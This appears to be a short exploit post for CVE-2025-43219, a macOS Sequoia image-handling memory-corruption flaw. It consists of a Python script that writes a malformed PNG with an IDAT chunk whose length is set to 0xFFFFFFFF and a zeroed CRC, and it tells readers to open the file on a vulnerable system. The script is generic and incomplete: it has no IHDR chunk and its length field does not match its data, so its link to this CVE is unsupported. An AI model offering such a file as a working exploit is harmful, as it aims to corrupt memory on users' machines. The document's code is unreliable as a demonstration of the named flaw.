CVE-2025-43219 macOS Sequoia 图像处理内存损坏漏洞

# Conceptual PoC for CVE-2025-43219 Memory Corruption # This script generates a potentially malformed image file to test memory handling. # Usage: Run the script and open the generated file on a vulnerable macOS version. import struct def generate_malicious_image(file_path): # PNG file signature png_signature = b'\x89PNG\r\n\x1a\n' # Create a chunk with a malicious length to trigger overflow/corruption # Using a max length value often causes integer overflows or allocation errors chunk_length = struct.pack('>I', 0xFFFFFFFF) chunk_type = b'IDAT' # Image Data chunk # Minimal payload chunk_data = b'A' * 100 # Calculate CRC (simplified, usually requires zlib.crc32) # A malformed CRC might trigger parsing errors, but the memory overflow # is more likely caused by the length field. crc = b'\x00\x00\x00\x00' chunk = chunk_length + chunk_type + chunk_data + crc with open(file_path, 'wb') as f: f.write(png_signature + chunk) print(f"[+] Malicious image generated at: {file_path}") print("[+] Open this file to test for the vulnerability.") if __name__ == "__main__": generate_malicious_image("cve_2025_43219_test.png")